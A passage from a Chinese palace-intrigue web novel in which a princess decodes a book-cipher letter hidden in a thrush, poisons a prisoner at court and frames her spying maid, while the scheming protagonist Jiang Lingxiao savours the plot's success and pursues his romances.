“读史明智,知古鉴今,公主可多翻翻《左传》,逗逗画眉,左为页,右为字,以解心头之惑。”阮太医猛地睁开眼,铺开诊籍奋笔疾书记录下诊情,马上收拾药箱离开,与往日出诊无异。
此次出诊是假,递消息是真,阮太医所说的每句话都有深意。
竞天支开宫女,打开笼子,抓出画眉仔细打量。
画眉鸟羽毛艳丽,丰满安静,脖上挂一枚精致细小的金锁。
她摸来摸去,从画眉翅膀下摸出一根细小的羽毛空管,抽出一封极短的信。
他不止让人冒险送鸟给她解闷,还写了情话?也许是像她一样反复回味着两次廊下相遇……竞天想到这里,不由脸红心跳。
她捂了捂发烫的脸,好似高烧不退,眉飞色舞展开信,却登时愣住。
信上全是奇怪的点,分两列,右列的点粗大,左列的点细小。
她忙走到书架前,依据阮太医的话,抽出《左传》,找到对应的页码和字,一一译下来。
这些字,组成句子,吓的竞天双眼瞪大,满是惊恐。
姜凌嚣疯了!
他一次比一次疯!
上次还是单打独斗的谋害朱帝染疫,这次更过分的明目张胆!
事关重大,甚至能改变朝廷势力的格局,竞天心惊胆战,忙攒皱那团纸,塞到嘴里嚼了两下,又来想到可以烧了证据,但她还是生生咽了下去。
就算毁灭了纸上证据,她也没办法装作不知道姜凌嚣即将犯下的罪行。
她看中的驸马候选,是个恶胆包天的人,如果现在放弃他,自己还能回头是岸。
他送的笼子,缺的那只鸟,分明是她本人!
一旦与他联手,她便成了囚笼之鸟。
……天黑了,竞天坐在殿里发呆,直到宫女秋绘来上灯,她才回神,仿佛从噩梦中醒来。
秋绘跪在旁边,瞧着竞天的脸色:“公主,您怎么了?”
竞天缓缓起身,走到梳妆台前,看着镜子里自己扭曲的表情,沉声:“给我梳洗,我要见皇帝,你们也都去。”
给竞天梳洗完毕,秋绘却拉起肚子,昨晚贪吃了一盅冻梨牛奶酪,不能同去面圣。
竞天让秋绘安心静养,并叫太医帮她开了止泻药,带着其她宫女太监浩浩荡荡出宫,踏上和姜凌嚣同流合污的不归路。
29. 公主杀
镇和殿前殿,竞天还没进去拜见朱帝,就被陶公公好心拦住:“公主若无要事就等明日再见皇上,他此刻心情不好。”
今儿一早,她瞥见姬无心和朱帝从太后宫里先后出来,朱帝脸上又带怒气。
敌人的敌人就是杀人利刃,竞天公主谢过陶公公好意,执意去见朱帝。
暖殿里,摆着一张长桌,朱帝正在背手练字,大病初愈,还有些咳嗽,贴身伺候的宫女偏头躲了一下,就被他一脚踹倒:“居然敢嫌朕!拉出去打成肉泥!”
竞天公主今晚异常乖觉,面圣即大跪,痛陈悔思,把前日冒犯圣驾都拢在“仗着与皇上您一母同胞,还当是小时候玩耍那样没大没小”的亲情里。
提及儿时,确有一些无忧无虑的日子,朱帝受了触动,挥挥手,一副宽容大量的样子,“你仗着朕撑腰,恃宠而骄,今后记住朕是男人,又是一国之君,你得学会屈服。平身吧。”
竞天感激涕零,专掏心窝子话:“姬无心三番五次推姬有德做我驸马,不过是贪图那两座山,万一真落到他手里,有朝一日,他在山里养兵,妄图谋逆,威胁与我同根生的皇帝,我便生恨入骨!”
朱桢本做太子时就受够了姬无心的掣肘,以为熬到做了皇帝就能说一不二。
谁知做了皇帝,大臣们还是都看姬无心的脸色,导致自己难以服众。
尤其今天,姬无心通过太后要越过他提审于克明,太后居然答应了,于是闹出于克明差点被暗杀。
皇亲国戚里,只有此刻的竞天给了朱桢本做皇帝应有的快感,他亢奋地走来走去,大肆褒扬:“你很忠心!朕一定要给你写个匾!”
获取了皇帝信任与结盟,竞天叩头谢恩时,嘴角牵起一丝邪魅。
宫内沉寂下来,秋绘不再装病,翻完竞天的书架和鸟笼,鬼头鬼脑前去告密。
等竞天回宫,秋绘卧在榻上,一副病容。
竞天替秋绘掖了掖被角,转身去了自己书房,抽出《左传》.
偷偷夹在内页的一根头发,不在了。
她又走到鸟笼前,抹了下笼门上的香灰,也不见了。
秋绘是内奸!
竞天后怕的出了一身冷汗,幸好译出的恐怖密函被她吞到了肚子里,而不是烧了,否则以秋绘的细致,她一定会翻出灰烬窥出字迹,不管她效忠的人是谁,知道了信里的机密,自己必将死路一条。
因为选驸马,自己陷入四面楚歌,从小一起长大的贴身宫女却此时背叛,真该罪当万死!
竞天公主恐惧的眉目渐渐冷硬,她一把抓出画眉,打开颈锁,倒出两粒芝麻大的一黑一白药丸。
夜漏一点一滴的嘀嗒着,时间无可阻止地流向血雨腥风的明天,竞天心惊胆战的彻夜未眠。
漏壶滴完最后一滴,坐在床沿衣不解带的姜凌嚣抬头,望向窗外京城的方向。
天蒙蒙亮了,不知竞天会不会和他联手,更不知即使联手,她能不能成功。
玄明殿,殿上,朱帝居中而坐,太后背后听政。
有了昨晚的投诚,朱帝上朝带来了竞天,在殿下与姬无心平起平坐,为的就是恶心老东西:你的地位,在朕眼里,和没实权的女人一样。
姬无心看到竞天和朱帝,轻蔑淡笑,跷起带有铁铸狼头的尖靴。
沈丘染和几位大臣立于两侧,共同观摩卖国求荣的处决。
“哗啦哗啦”沉重镣铐拖地而行,于克明被狱史押至殿下,解除铁头盔。
谁成想,头盔下还有个铁嚼子。
朱帝上前捡起铁嚼子,自鸣得意:“这是朕的杰出作品,为防他畏罪咬舌自尽。”
于克明蓬头垢面,遍体鳞伤,不成人样,见到朱帝,三叩六拜,嘴里哇啦哇啦,发音含糊不清。
朱帝困惑:“朕并没命人打你,怎么落得如此模样?”
姬无心笑的露出一排尖牙:“我连夜替皇帝审了他,他不肯交代罪行,便剪了他一块舌头。来,张嘴,让大家看看你不听我话的下场。”
于克明张嘴,哪是剪了一块舌头,都挖到了舌根,嘴里空洞漆黑。
昔日同饮酒、共杀敌的同僚下场惨烈,沈丘染不忍卒视,别过头。
竞天公主锦衣玉食,头一次见如此狼狈的人,也不忍心,把自己的茶碗递给秋绘:“给他润润嗓子,好让他踏踏实实朝皇上交代罪行。”
都是昨晚调教的好,竞天说的话朱帝很是受用,赞许点头。
公主施展皇家悲悯,诸人并无异议。
于克明叩头谢恩,饮尽茶水。
朱帝:“舌头没了,还可以写。沈大将军捉到你时,你不是说有人劫持了你和张大嘴的兵器吗?朕为你做主,写出他的名字。”
陶公公马上端来笔墨。
众人齐齐看向于克明笔下,尤其沈丘染,格外期待解谜。能抢劫一方地霸和太守的,究竟何方神圣?
于克明落笔,刚在纸上点了一个墨点,便猛烈咳嗽,毛笔划了一下掉落,然后如同发疯,狠狠掐着自己脖子。
沈万湖警告:“钦犯别朝上作怪······”
“噗——”,于克明吐出丈高血柱,直喷到房梁,仰面重重倒下,眼珠爆裂,面色青紫,当场暴毙。
诸臣吓得一哄而散,朱帝更是吓得“哇呀呀”扑进太后怀里,集体看向竞天公主。
于克明是喝过她的茶才死的!
竞天公主同样震惊,不等人提出质疑,她快步走到秋绘面前,一巴掌将秋绘打翻在地,痛恨:“你是要毒死你主子!”
秋绘捂着脸,噗通跪下:“公主明鉴,与奴婢无关!奴婢只是端茶,水不是奴婢倒的!”
陶公公变脸:“大胆!水是咱家倒的,皇上太后喝了都没事,怎么单单你碰了就有问题?”
竞天公主胸口剧烈起伏,怒目圆睁,她冷不丁拔走沈丘染的剑,架在秋绘脖子,狠厉:“你个奸细,胆敢背叛你主子!要不是死的于克明,死的就是本宫!说,你与谁吃里扒外?否则本宫杀了你!”
秋绘吓破了胆,方寸大乱,寻找一圈文武百官,扑到陈庆升脚下,凄声求救:“陈大人,您为我做主!”
原来,秋绘的幕
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后主使是陈庆升,竞天还以为是太后。
陈庆升乱踢秋绘,极力避嫌:“放肆!我一个不入后宫的外臣,你一个宫女,层层高墙侍卫隔着,并无交集,找我做什么主!”
秋绘吓得已毫无理智,抱住陈庆升的大腿,死死不撒手:“是您交代的,事无巨细将公主见了什么人说了什么话,甚至是收了什么东西,统统密报于您!”
陈庆升一脚踹翻秋绘:“血口喷人!闭嘴!”
朱帝大怒:“让她说下去!”
秋绘鬼哭狼嚎,将陈庆升怎样俘获她做奸细,怎样通过太监往外递消息,交代的清清楚楚,咬出宫内一串人。
朝堂哗然。
姬无心喝令御前侍卫,将秋绘所供之人全部当场拿下。
朱帝离开太后怀抱下殿,捧起于克明遗书。
毒发太快,死者只留下小小一块墨迹。
姬无心看了看,断定:“这是个点。满朝文武,谁的姓氏第一笔是点?”
朱帝哼笑:“这分明就是女字旁的初笔,一撇。”
女子旁,当然是“姬”,指向太过明显。文武百官纷纷垂下眼皮,默不作声。
姬无心藐视朱帝的污蔑,侃侃而谈:“于克明点完墨点就喷血而亡,你认为的撇,其实是拖长的墨迹。”
连对皇上的尊称也无,放肆到这个地步,朱帝暴怒,指着姬无心,“于克明一被沈丘染逮捕,你迫不及待要姬有才南下,替补他的位置!我看是你想把老巢往那边搬!为的是把控边疆,养兵自重,意图日后造反!”
姬无心冷哼:“要说在康凌郡待过的,还有沈丘染。那于克明留下的是一点,还是一撇,更加要谨慎下断了。”
“你放……”在前线出生入死过也能被当面泼脏水,沈丘染差点骂脏话。
“噗”,跪在陈庆升脚边的秋绘,也突然口鼻喷血,一命呜呼。
竞天惊吓大叫,跌坐在地。
朱帝非要当场宰了陈庆升:“你敢当朕的面杀人!你个结党营私妄图篡权的老贼!”
陈庆升扑通跪下:“皇上,老臣绝无忤逆之心!不过是老臣为了犬子能做驸马,想投其所好,所以监视了竞天公主。”
殿上顿时乱成一锅粥。
竞天公主踉跄出殿,站在高高的台阶上,背后就是左右大峪国存亡的智囊团,而她独自欺骗过所有人,达成一场完美的借刀杀人。
早上,她亲自端给秋绘一碗止泻药,秋绘怕装病露了马脚,不得不喝。
来到殿上,她又在自己茶碗里下了毒。
毒杀乾坤就在姜凌嚣的密信里:【锁中剧毒白缓黑速杀于克明】
朝中势力多足鼎立,相互虎视眈眈,谁会去怀疑一个待宰羔羊般的“废物”公主?
轻视女人的下场,活该被利用。
天上忽降鹅毛大雪,渐渐覆盖世间肮脏。
陈锋令作为陈庆升之子,彻底出局驸马人选。踢出姬有德,自选驸马,还会远吗?
竞天公主仰面展臂,拥抱世人祈求平安、冤魂泣求昭雪的苍天,莞尔一笑。
30. 芥蒂
黄昏,风紧雪斜,宫外的第一个丁字路口,其中一侧的路口处,姜凌嚣勒马,坐在马背上。
不消片刻,阮太医的马车从路口马不停蹄路过,车帘车窗紧掩,窗户上挂着一条红布,随风而飘。
红布条,是于克明顺利死亡的暗号。
再次成功脱罪,逍遥法外,姜凌嚣清朗浅笑,继而无声大笑,毫无罪恶感,意气风发掉转马头,奔往得胜酒楼。
包间里,酒菜上全了,孙大可跑上来禀告,按照他的吩咐请来了沈丘染,他已带着小虎和紫玉上楼了。
姜凌嚣哼起无名小调,亲自倒酒。
“咣”,门开声有点大,小虎踹开门就抢了个鸡腿,坐下咔嚓咔嚓啃。姜凌嚣朝她飞了几次含情眼,她头都没抬。
紫玉碎步随后,接替姜凌嚣斟酒,他便收敛神色,正襟危坐。
沈丘染愁眉苦脸进门,仰脖就闷了一杯酒,嫌不够烈:“换烈酒!”
姜凌嚣心知肚明死了重大要犯在朝堂之上,皇帝臣子都受了惊吓,却装得一副浑然不知:“出了什么事?”
“倒酒!”沈丘染扔了酒杯,换成碗。
紫玉乖乖倒满一碗,沈丘染又是一口闷,重重放下碗,这才开口:“今日朝堂公审于克明,他被人毒当众毒杀,血都喷房梁上去了。”
“谁下的毒?”
姜凌嚣本想装惊讶的,但听到于克明死亡画面如此“壮烈绚烂”,而这一切都是他背后主导,让他有种被赞美了作品的自豪感,唇角止不住微弯。
这笑容令沈丘染觉得惊悚又熟悉,好像曾在另一个不合时宜的场合见过,他使劲眨眨眼:“三哥刚才······是笑了吗?”
姜凌嚣正视向沈丘染:“笑什么?你喝猛了,眼花了?”
于克明和三哥合开过炼丹房,又结了干亲,怎么招也有情谊在,不可能笑。
沈丘染揉揉眼,叹气:“于克明舌头被姬无心割了,又中了剧毒,死得太快。同谋的姓名,他仅留下一点墨迹线索。”
姜凌嚣做贼心虚:“什么墨迹?”
“关于是一点还是一撇,朝中争论不休。”沈丘染拍了桌子,忿忿不平:“姬无心血口喷人,当着皇帝的面,非说那点墨迹是‘沈’的初笔,污蔑于克明要招供的人是我!老子抹了脖子,喷出的血都是清白的!”
既然线索歧义大,朝中各方必然趁机相互栽赃,完全怀疑不到自己头上,姜凌嚣又开始压制不住的得意:“笑话!你和于克明怎会有勾结?要说有,我比你嫌疑大。”
屋内其余三人齐齐看向姜凌嚣。
尤其小虎,往常眼神里不含任何情感杂质,像动物不谙世事,但这次,带了某种警觉似的。
姜凌嚣这才收敛了放任的自狂,清清嗓子,压低声量:“毕竟,我和他伙同开过炼丹房。”
他又拉沈丘染下水:“姬无心疑你,也不是没有根据。当初你执行公务在别处,却前去康陵郡追查于氏兄弟失踪案。”
沈丘染坦荡:“那是我当时的顶头上司和于克明交好,他让我去的,我敢不从?!”
“我知道你身正不怕影子斜,但架不住姬无心趁机咬你。”
沈丘染咬牙切齿:“他咬我,不过是想撕下我拿命挣来的苦劳,喂他那几个养尊处优的狼孙子!”
再风光的位子底下也是尖刀林立,一个稍不留意,就被捅了刀子。看着沈丘染也不容易,姜凌嚣忽然感到一种阴暗的轻松。
直到此刻,他才意识到自己是介意五弟靠“沈凌嚣”之死一路爬上将军位子的,而自己只能做个见不得光的罪犯。
有人压制五弟,他既感到一种平衡,又为他不平,担忧,怕他抗不过朝中恶斗。最终,还是不平大过了平衡。
姜凌嚣怜爱的亲自为沈丘染斟酒,宽慰他半天,对他的芥蒂在酒中融化。
沈丘染被烈酒烧得酩酊大醉,倒在桌上。
姜凌嚣自斟自酌,庆贺没有加封、永不见光的大获全胜,嘴角时不时括出放肆的笑意。
一直冷眼旁观的紫玉,心凉透了,于克明暴毙诡异,一定与姜凌嚣脱不了干系,他自己完成不了朝堂杀人,说明他的势力已经渗透到了朝廷,她想脱离密探的身份,恐怕更不能了······
散席,紫玉与沈丘染同乘一辆马车先走了。
小虎站到酒楼门口,看上了檐下的红灯笼,闹着非要,姜凌嚣爽快喊人搬梯子。
招风耳扶着梯子,闻到姜凌嚣散发着浓重的酒气,不放心:“我来吧。”
姜凌嚣摆摆手,固执醉步蹬梯,给她摘下灯笼,不忘给店家银子:“她小孩脾气,多担待。”
掌柜的不收钱,还赔笑:“姜少东家,听说皇上御赐了您一副墨宝,有机会让我开开眼就得。”
“……”
那副“通假字”墨宝挂在药店正当中,人来人往的丢人现眼,姜凌嚣恨不得扔了烧了,但想到那是十万两白花花的银子买来的,他当场允诺转赠给酒楼,还赚个人情。
掌柜的连连摆手:“御赐哪能转让,这可不敢收!”
姜凌嚣大笑两声:“这世道,就是饿死胆小,撑死胆大。”
这样狂放的姜凌嚣,不常见,酒楼掌柜的一时有点懵。
上了马车,小虎玩着灯笼,忽然问:“于克明是康凌郡的那个于太守吗?”
姜凌嚣靠着椅背,无声喷着酒气,醉眼朦胧:“嗯。”
她转头:“又死了一个跟你有关系的。”
他眼神一下清明起来,拽过灯笼到她脸庞照亮,看了她一会儿,答:“他跟沈丘染的关系更好。”
撇清的方法有很多,但他偏偏提到了沈丘染。
她收养的瘸腿狗不见了,沈丘染下了战场还记得,回京就送了只新的给她,她不可能去怀疑他,嘿嘿笑了两下:“以前听杨柳红讲,于太守也去闝她,还拿烟锅烫她大腿根子。反正老于也不是什么好东西,死了就死了。”
红灯笼的红光映着小虎的脸,显出一条淡淡的划痕,杨柳红扇她时刮破的。
白眉老太曾诊断,小虎愈合能力大不如从前,再也不可能像以前一样
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炸碎了还能恢复如初,尤其现在逐渐滋生七情六欲,一动情就脆弱到和常人无异,平常看不到的疤痕就会显露。
也许,她又想起了杨柳红,她在世上的第一个朋友,成为她心中一个解不开的芥蒂。
而始作俑者,是他。
姜凌嚣心中牵动,伸出手,想要抱抱小虎,她却把手掌压在他手上:“给我。”
他笑,低头亲了她掌心一下,眨眨眼:“是这个吗?”
“少装!鸟笼呢?”
姜凌嚣凝眉:“什么鸟笼?”
“装画眉的那个!”
姜凌嚣一惊:“你怎么知道?”
“我在市场上看到你了,你不是要给我惊喜吗?再藏着掖着,我就觉得不好玩儿了!”
“······”
“快给我!”小虎吵闹着去搜身。
姜凌嚣那股借刀杀人的得逞邪劲儿还没处发泄,又小别胜新婚,禁不住乱摸,一个翻身,将小虎压在身下。
她躲着乱吻,捏他嘴唇:“不是你说人应该要有廉耻,不能在屋外的吗?”
他的眼神邪狠,咬了她捂着他嘴的手指,趁她收手时,用嘴狠狠堵住她要叫出声的嘴,□□:“只要我想,礼义廉耻又算什么东西。”
继借刀杀人后,半野外的媾和践踏了人伦与礼节,让姜凌嚣又获得了另一种刺激的快乐,甚至觉得以前的恪守与服从,是种令人鄙夷、耻笑的愚蠢。
姜凌嚣衣衫不整,握住小虎的手,搭在他胸膛:“你给我穿。”
她给他穿着衣裳,他撩开车窗帘子,不知从哪儿弄了跟柳哨叼在嘴边吹了几声。
远处的招风耳耳朵忽闪了两下,立刻掉转马头。
小虎翻个白眼:“开窗干什么?冻死了!”
杀人犯被她恶语训斥,也只是呵呵轻笑,他乖乖放下窗帘,扒开她的衣领,深深亲了下她肩膀。
回到客栈,两人上楼,招风耳下楼,擦肩而过时,他朝姜凌嚣暗暗点了下头。
打开房门,盛着两只画眉的精致鸟笼已摆在桌上。
“啊,我昨儿看到是一只,原来是两只!是我看错了吗?”
小虎兴奋得大跳大叫,对着姜凌嚣又搂又亲,把他哄得差点忘记正事。
她开心,他也高兴,抬臂举高了她几下,轻轻放在地上,拍拍她脑袋:“我先去书房,忙完就回来。”
临出门前,他转头仔细看了她一眼,没有伤心的时刻,她脸上看不到任何疤痕。
他自信有能力让她一直无忧无虑下去。毕竟,他是个玩了整个朝廷还没留下痕迹的人物。
书房里,耿正探听了消息回来。
陈庆升作为毒杀于克明和秋绘的头号嫌犯,剥夺官职,羁押天牢,择日抄家。
今晚,耿正会潜入陈家善后,以坐实陈庆升谋杀于克明的罪过,终止此案。腾出全部精力去搞地藏蕨汁,尽快恢复炼丹,才能保养人力财力去追踪姜家的灭门凶手。
姜凌嚣还惦记着陈锋令嘴里可疑的金牙:“我要活的陈锋令。”
31. “别用手。”
交代完正事,姜凌嚣回房就寝。
刚推开门,小虎用利器抵在他喉结,神色陌生:“这东西是谁的?”
姜凌嚣低头。
竞天公主的那根发簪。
发簪实属无心滞留。若为息事宁人,完全可以撒谎就是送给小虎的。
但今日的刺激太过震荡,以往杀灭的是个体,于克明之死可是玩弄了皇权,有种他比皇帝还厉害的错觉,此刻想连她也操纵。
姜凌嚣垂视,眼中满含挑衅:“别的女人的。”
如刀划过心尖,伤到了最柔软的地方,小虎怔住,没有大吵大闹,一颗泪珠碎了,在眼眶里打转。
没想到惹她这样,姜凌嚣瞬间揪心败落,慌忙转回温柔脸色,甚至低声下气:“没有别的女人。从前没有,现在只有你,今后也不会有别人。我今后不开这样的玩笑了。这是送你的。”
他送礼向来出手大方,毫不遮掩,这根做工别致的发簪却藏在枕下,不像他的风格。
小虎不信:“我不在的时候,肯定有别的女人出现!不然你为什么把我支走好几天?”
“不是你非要跟紫玉一起住吗?我成全你,也有错?”
倒打一耙,她哪是能言善辩的对手,变得哑口无言。
他逮住了机会,故意将脖子往发簪尖上凑,冰冷的发簪戳进他的皮肉,慢慢渗出血。
小虎吓得往后抽簪子,被姜凌嚣使劲捉住手,继续往脖子里戳。
“你流血了!”
姜凌嚣狰狞警告:“我只对你没有防范,所以唯一能近身杀我的,只有你。你若不是真心杀我,今后不许拿凶器威胁我。”
心疼蔓延,让人变得仓惶无措,她连连点头:“我记住了。”
他喜欢看她在乎自己,为自己牵动,手腕发力,簪子插得更深了些,一条血迹爬过白皙颀长的颈。
“你疯了?我已经说过记住了!”小虎使劲夺回发簪。那颗因他而起的泪珠,终于掉下来,引出了一串泪。
他入侵了她的不通人性,在她初始的七情六欲里占据了一席之地,看她的野性被自己驯化,为自己操纵,他暗爽,歪嘴邪笑了一下,终于撒手。
小虎赶紧扔掉带血的发簪,伸手触摸他颈间戳痕。
他:“别用手。”
“那用什么?”
他扬起下巴,命令:“嘴。”
小虎听话地攀住他的肩头,踮脚,吻在伤口。
丝丝的痛缠绕着甜蜜,姜凌嚣伸长脖颈,故作无动于衷。
但极力克制下,仍旧有细微而压抑的声息,从鼻中喷出。
忽然,床边条几上的烛苗灭了,整间屋子刹时被黑暗吞没。
在小虎还没反应过来时,她已被扑倒在了床上,姜凌嚣动作快得像捕猎。
猎物的脖子被重重反吻,啃噬,底下被重重一击,在她发出声音前,又被吻死死堵上了嘴,一时不能呼吸。
烛苗缓过来,又渐渐明亮起来。
红蜡烛,红烛光,整间屋子像红灯笼的里面,床上的人是不停摇摆的火焰。
外面雪大了。
炉火将熄,屋内冷气渐袭,沈丘染孤枕难眠,辗转反侧。
随口喊声丫鬟,便有人进来添炭,但他不愿。
他也不止是身上冷,心里也凄惶,实在躺不住,下床挑亮油灯,盯着墙上挂着的宝剑。
剑是第一次要离开康凌郡时,于克明赠予他路上防身的,剑柄上刻着他的名字,烫金闪耀。
那时他们刚联手剿灭了张大嘴,双双意气风发,仿佛好景常存,仕途无限光明。
再回康凌郡,与拜基蛮子浴血奋战,守卫了一方百姓,用的也是用这把剑。
包括查出窝藏的兵器,羁押于克明沦为阶下囚时,也有此剑的现场见证。
本承载着复杂情意的一把剑,在今日白天,被竞天公主毫无征兆拔走,差点杀了人。
而后,昔日同僚暴毙于自己脚下。
这一年来的诸多变故,让沈丘染心里像砌了堵墙,郁闷,无光,逐渐失去方向。
“叮叮当当”修理东西的声音,不时从沈丘染房中传出。
他大半夜不睡觉,发出些扰人的动静,紫玉觉得蹊跷,放下绣了一半的鞋垫,推门到隔壁。
桌子上摆满了长长短短的刀剑,不下二十把,全都被沈丘染安上细链,上了锁,似乎这样都觉不保险,他正用钳子一圈一圈缠铁丝封紧刀鞘,听见紫玉进来,连头都没抬,忙碌到嘴唇干裂。
刀剑就图一个拔得利落快,却加上滑稽的锁链,除了某种较劲,偏执,无它。一定是又出了人命。
紫玉却什么也不问,只是默默冲了碗枣仁茶,放到他手边,轻声:“再忙也要喝水。”
沈丘染终于住手:“吵醒了你。”
“我压根没睡。”
“这么晚了还不睡?”
“怕你有事。”紫玉说完,恐伤了沈丘染的自尊心,忙加一句:“是怕你有事叫我。”
沈丘染住手,抬头看了她一眼,冰冷的眼神有了些许温度,“坐。”
深夜里,只是孤男寡女干坐着,有点令人不安。紫玉先去给自己倒了碗枣茶,慢腾腾坐到对面,垂下眼皮,睫毛偶尔忽闪。
她怕冷,一只手贴在茶碗上取暖。
沈丘染忽然也伸出一只手,大掌贴在她茶碗的另一侧。
他有茶,却来捂她的。茶碗周身太小,搁置两只手有点局促,手指几乎要贴在一起。
沈丘染是个正人君子,哪怕在血气方刚的军营,过着苦行僧的生活,他都没拿她解过闷。她没有必要躲着他,于是,她任由他的手占据茶碗另一侧。
热气,从茶碗中幽幽飘起,氤氲在两人对视的眼中,成为一种温暖的暧昧。
紫玉突然伸出另一只手,贴住了沈丘染的手,他明显一抖。
他的手,竟然比自己的还凉。
紫玉握着他的大手攥攥,大胆而紧张:“这样好些了吗?”
“紫玉······”任何故作坚硬的英雄气概,都在此刻崩塌,沈丘染粗犷豪迈的嗓音化为一滩柔情。
他放下钳子,腾出另一只手,轻轻去靠紫玉另一只手背,贴住了,指节微微蜷曲,试探着握住。
握剑斩杀毫不拖泥带水的手,此刻不听使唤地颤抖。
紫玉没有躲,冲他温情脉脉一
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笑。
烛光昏暗,只能照亮眼前方寸,他的视野里只剩她的笑,这一抹温婉的笑容,点燃了角落里的黑暗,世界的黑暗,心里的黑暗。
沈丘染猛地起身,上前紧紧拥抱紫玉,感受着前所未有的,除了自身温度之外的,只属于另一个人的温度。
任世事疯癫失控,紫玉是他的安稳锚点。
紫玉聪敏,察觉他动的是真情。一起走南闯北,同甘共苦,她对他的好也是真的,只是她清楚,自己不配他的纯粹,干净。
她想告诉他,朝他坦白,求他原谅,她是个安插在他身边的歼细。
最终,她没有说出口,因为没有足够的勇气,贪恋此刻的拥抱。
天亮了,出了太阳,雪地反着浓烈的白光,肮脏世界一夜之间变得清洁。
凄凉冷清的上善宫,忽然来了太后宫里的人,送来一车炭和许多补品。
很快,繁忙的太医也有空了,主动前来诊病。其它各宫生疏的姐妹们,更是走动频繁起来。
几副药和补品服下,若善公主能下地了,忙来竞安宫跪谢:“姐姐雪中送炭予我,太后知道了,非但没责怪我,还疼惜我,那些势利眼才见风使舵。若不是你,这场瘟疫早带走了我。你是我的再生父母,我给你磕一个。”
竞天公主忙扶起若善:“不兴胡说,你我同父异母,是平等的姐妹,我岂能做你的父母?不过是我的母亲得了势,那些人巴结着我。若风水调换,我受了冷遇,你也必不会怠慢了我。”
患难见真情,若善哭得一塌糊涂。
竞天公主不喜欢女人抱头痛哭,给若善披上自己的金丝孔雀斗篷,扶着她往宫外走:“听说妙音坛架起了暖阁,今儿有好戏,一起去。”
见了太阳和雪光,若善开朗多了。戏开唱,她也能说会笑了。
戏唱半途,太后驾到,拉过若善的手,仔细询问病情,亲切叮嘱用药,又把若善惹了个稀里哗啦。
竞天公主疼惜妹妹的身子骨,赶紧要戏本子挑戏:“别叫她再落泪了,再听个《白蛇传》.”
太后笑着蹙眉:“净是些爱情戏。”
竞天公主撇嘴:“白娘子和许仙的爱情多感人啊,母后觉得不好吗?”
太后捏捏眉心,苦笑也泛着雍容华贵:“白娘子好不容易修炼成精,不想着去成仙成佛,倒往人间钻。就算堕入凡间,不仗着一身法力斗官争王,却迫不及待为个凡人弄大了肚子,最后受那么大磨难。”
若善天真:“白娘子是为了爱情。”
太后呵呵笑:“爱情要是跟块点心似的只有甘甜,那别人也不能说什么。可酿成苦情,真是没劲透了。”
竞天公主孩子气:“嫌苦?别听。”
整个皇宫,连朱帝都不敢和太后这样讲话,太后宽容笑笑,不打扰姐妹们难得的团聚,主动让出妙音阁,启驾回宫。
戏台上,白素贞盗仙草救爱人,触动竞天公主想起前几日,为了姜凌嚣,当众杀了于克明和秋绘,转移嫁祸。
自杀人以来,她寝食难安,愧对神明,但想到于克明倒卖官刀,害边疆百姓死在自己国家造的刀下,本身就是个杀千刀的死刑犯,她便替神明原谅了自己。
32. 破戒
之前能提供线索的金铺,早就在伙计全家被烧死后连夜搬空,消失无踪,彻底失去线索。
陈锋令的金牙泛着的金光,是查找灭门姜家凶手的曙光。姜凌嚣去找沈丘染帮忙,看能不能挖出点新线索。
几经转折,在得胜大酒楼找到沈丘染,他已喝了个脸红,人十分高亢,拖着姜凌嚣上楼,“三哥来得巧,没外人,一起聚聚。”
他手劲大,又扯住了姜凌嚣使不上劲的右胳膊,姜凌嚣只好随他上楼。
一开包间门,姜凌嚣脸色瞬间变得很难看。
沈戚风坐在上首,今天是他的主场。
陈家一倒台,党羽受牵落马,空出许多职缺。沈戚风顶了死人陈锋令的缺,升了官,春风得意,大宴宾客。
姜凌嚣扭头要走,沈丘染将他死死拉住,低声乞求:“好三哥,你这样甩个冷脸走了,我面子搁不住。”
五弟极爱脸面,姜凌嚣为他迟疑。
阮太医也在,跑过来和沈丘染一起把姜凌嚣摁到了座位里。
姬有德马上和人换了位子,坐到姜凌嚣身边,递过新的碗筷,满上酒,跟着沈丘染一起叫“三哥”,笑脸憨厚。
这么多人的面子不好不给,姜凌嚣勉强留下。
姬有德亲切地要给姜凌嚣布菜,沈丘染特意交代:“小姬,我三哥不吃肉。”
“为什么呀?”
沈丘染还记得于克明张罗的那场宴席上,姜凌嚣说过为了中毒的小虎能够平安苏醒,跟神明交换了条件,从此守戒食素。
自己随口说的话被记得这样久,姜凌嚣对沈丘染感激一笑。
姬有德跟姜凌嚣碰杯,自述最近去了康凌郡才回来。
姜凌嚣无意与纨绔子弟深交,淡淡敷衍:“康凌郡是不是没京城好玩儿?”
“我是受皇命去跟拜基藩国谈议和亲,只有晚上才有自己的时间,没地方可玩,就爬山。倒是在山上遇到些奇景,正想请教三哥······”
还没说完,喝大了的沈丘染亢奋举杯,敬谢朱帝和太后,感激父亲养育与栽培,连曾经的教书先生、往昔同僚也念叨了一遍,和同样荣耀门第的沈戚风碰杯,唯独没提到眼前的姜凌嚣。
沈戚风得意洋洋:“我们沈家本是书香门第,朝中什么好事都轮不到我们读书人,自五弟战场归来后,沈家才开始转运得势,扶摇直上!”
沈丘染军功在身,酒后是有些掩饰不住的得意,勾住沈戚风脖子:“好二哥,别什么话都往外说。”
当着外人,沈戚风格外做作,捏起嗓子:“哎,在下记住喽,我的英雄弟弟!”
哄堂大笑后,诸人轮番朝志满意得的沈家兄弟敬酒,比赛吹捧:“沈门荣耀,朝廷栋梁!”
沈丘染喝得直不起腰,索性趴在沈戚风肩膀,半睡半醒。
姜凌嚣自斟自饮,喝红了眼,看向沈丘染的眼神逐渐变得复杂。
除了他自己,所有人,包括沈丘染都已忘记——
如若不是强迫他“为国捐躯”,没有沈家的加官晋爵,遑论升迁!
不是沈丘染做了沈家的垫脚石,是“沈凌嚣”!但他们踩着自己往上的时候,无视了他的牺牲!
灭门的仇恨,是只属于他独自的炼狱。复仇路上的耻辱与艰辛,也只是他一个人的史诗。
姜凌嚣终于明白,他和沈丘染,压根、不是、一路人。
他怒血倒流起身,来到走廊无人的角落,对着廊柱恶狠狠捶了一拳,白皙的指节瞬间紫红,像他此刻熟烂的伤心。
阮太医寻过来,看了眼姜凌嚣手上的淤痕,拍拍他肩膀,语重心长:“忍下去,与沈家和好,借势搞个一官半职,不要空浪费一肚子才华。即便不当官,继续做生意起码有沈家罩着,少摊些兵饷的无妄之灾。我估计沈丘染也是这么想,想做你和沈家修复的中间人,所以非留你在这。”
姜凌嚣双眼通红,不屑:“我不需要。”
阮太医正色:“你打算一直干那些上不得台面的事吗?”
“我为亲人为自己复仇有何之错!”
